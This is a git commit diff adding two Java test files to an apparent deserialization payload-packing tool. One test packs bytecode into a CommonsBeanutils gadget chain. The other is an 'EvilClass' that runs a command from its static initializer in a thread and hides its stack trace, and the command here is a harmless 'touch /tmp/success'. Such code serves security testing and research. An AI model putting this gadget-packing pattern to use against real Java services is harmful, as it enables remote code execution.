test: add classes

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent 9f7b4276e2
commit 2b1388c8eb
8 changed files with 241 additions and 5 deletions
@@ -0,0 +1,21 @@
package com.reajason.javaweb.packer.deserialize.java;
import com.reajason.javaweb.packer.ClassPackerConfig;
import net.bytebuddy.ByteBuddy;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2026/1/4
*/
class CommonsBeanutils19PackerTest {
@Test
void test(){
byte[] bytes = new ByteBuddy().redefine(EvilClass.class).name("hello.world").make().getBytes();
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassBytes(bytes);
System.out.println(new CommonsBeanutils19Packer().pack(classPackerConfig));
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.deserialize.java;
/**
* @author ReaJason
* @since 2026/1/4
*/
public class EvilClass extends Thread implements Runnable {
static {
new EvilClass().start();
}
@Override
public StackTraceElement[] getStackTrace() {
return new StackTraceElement[0];
}
@Override
public void run() {
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (Exception ignored) {
}
}
}